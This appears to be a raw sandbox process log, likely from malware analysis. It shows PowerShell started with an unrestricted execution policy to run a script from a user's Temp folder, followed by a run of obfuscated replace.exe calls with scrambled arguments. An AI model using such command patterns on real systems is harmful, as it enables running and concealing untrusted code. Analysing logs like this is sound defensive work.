powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\adminfunction.ps1
2544replace.exe "C:\Windows\system32\replace.exe" "UiaCvLamQWeAUvcXaLa8QaZKlAmNaZZlAqErQDrAmNVVaZZlakEGGjLaMnBVCEWqHaLaMIxxXaLaYbValEqQQaSXUbCXzASQwwEQkLUvcXaLa8QaZTTlFAmAZlWXaAOiER4EsAXaEzGlVraMazerLaQGlVraMazerLaQ UiaCvLamQWeA w" UvcXaLa8QaZ s
2668replace.exe "C:\Windows\system32\replace.exe" "No files replaced" KlAmNaZZlAqErQ c
2716replace.exe "C:\Windows\system32\replace.exe" "No files replaced" DrAmNVVaZZlakE r
2788replace.exe "C:\Windows\system32\replace.exe" "No files replaced" GGjLaMnBVCEWq i
2844replace.exe "C:\Windows\system32\replace.exe" "No files replaced" HaLaMIxxXaLa p
2896replace.exe "C:\Windows\system32\replace.exe" "No files replaced" YbValEqQQaSX t
2944replace.exe "C:\Windows\system32\replace.exe" "No files replaced" UbCXzASQwwEQkL .
2992replace.exe "C:\Windows\system32\replace.exe" "No files replaced" TTlFAmAZlWXaA h
3040replace.exe "C:\Windows\system32\replace.exe" "No files replaced" OiER4EsAXaEz e
812replace.exe "C:\Windows\system32\replace.exe" "No files replaced" GlVraMazerLaQ l
1404replace.exe "C:\Windows\system32\replace.exe" "No files replaced"
1336